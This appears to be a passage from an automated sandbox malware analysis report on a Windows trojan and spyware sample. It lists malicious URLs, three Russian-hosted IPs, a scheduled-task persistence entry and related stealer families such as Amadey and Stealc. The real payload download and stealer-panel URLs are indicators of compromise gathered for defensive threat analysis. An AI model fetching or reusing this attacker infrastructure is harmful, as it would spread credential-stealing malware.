http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exera	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpFRk	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exephprefoxox	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/i	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/nss3.dll	9%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exeOm	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php~RC	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/mozglue.dll	7%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://www.sqlite.org/copyright.html.	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	25%	Virustotal		Browse
http://77.91.77.82/	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exepData	100%	Avira URL Cloud	phishing
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	7%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://85.28.47.4/dows	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/freebl3.dll	6%	Virustotal		Browse
http://85.28.47.4ProgramData=	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	21%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php6S	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	20%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:f	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php.R	0%	Avira URL Cloud	safe
85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpc	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phptRY	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dllfh	100%	Avira URL Cloud	malware
http://85.28.47.4	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phps	0%	Avira URL Cloud	safe
http://85.28.47.4/20475a59bac849d.phpCa	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php:R	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpf	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phphRu	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe50673	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/nss3.dll~B	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
http://77.91.77.82/t%	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php$R	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll:h	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000176C000.00000004.00000020.00020000.00000000.sdmp	true	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exeAm	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/	8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	j7iUba2bki.exe, random[1].exe.9.dr, 8550c65a2f.exe.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe9	explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	j7iUba2bki.exe, random[1].exe.9.dr, 8550c65a2f.exe.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php0R	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php-	explorti.exe, 00000009.00000002.4488287215.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.php&a	8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exephprefoxox	j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpFRk	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exera	j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/i	8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248227812.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exeOm	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	true	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php~RC	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exepData	j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.4/dows	8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4ProgramData=	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000172E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/cost/go.exe00	j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php6S	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:f	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php.R	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.phpc	8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phptRY	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dllfh	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000172E000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phps	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/20475a59bac849d.phpCa	8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	j7iUba2bki.exe, random[1].exe.9.dr, 8550c65a2f.exe.9.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php:R	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpf	explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phphRu	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe50673	explorti.exe, 00000009.00000002.4488287215.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll~B	j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/t%	explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1464139
Start date and time:	2024-06-28 13:35:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	j7iUba2bki.exe renamed because original name is a hash value
Original Sample Name:	0f8b01fce87324b3c2e7fa5964ae96cf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/30@0/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target FCFBGIDAEH.exe, PID 6220 because it is empty
Execution Graph export aborted for target explorti.exe, PID 5912 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:36:20	API Interceptor	12595646x Sleep call for process: explorti.exe modified
13:36:18	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.81/stealc/random.exe
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81/Kiru9gu/index.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
85.28.47.4	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4/920475a59bac849d.php
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
77.91.77.82	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.82/Hun4Ko/index.php
77.91.77.82	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.80
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
GES-ASRU	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	2snSKQHbDz.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	xS6ePhELv0.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.80
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
